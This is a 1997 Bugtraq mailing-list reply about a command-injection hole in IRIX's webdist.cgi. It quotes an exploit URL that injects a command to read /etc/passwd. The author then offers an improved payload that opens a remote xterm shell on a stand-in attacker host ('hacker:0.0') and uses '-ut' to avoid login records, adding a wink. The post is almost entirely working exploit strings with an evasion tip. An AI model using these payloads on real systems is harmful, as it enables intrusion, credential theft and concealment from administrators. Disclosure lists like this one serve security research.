To: BUGTRAQ@NETSPACE.ORG 
     Subject: Re: SGI Advisory: webdist.cgi 
     From: Chris Sheldon <csh@VIEWGRAPHICS.COM> 
     Date: Wed, 7 May 1997 12:22:44 -0700 
     Approved-By: aleph1@UNDERGROUND.ORG 
     Reply-To: Chris Sheldon <csh@VIEWGRAPHICS.COM> 
     Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG> 



> Title: Default IRIX cgi-bin programs
> OS: irix
> OSver: 6.2,6.3
> Files: /var/www/cgi-bin/webdist.cgi
> Perms: X
> Access: Remote
>
> /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh

The '-ut' is the most important part... :-)

Chris.

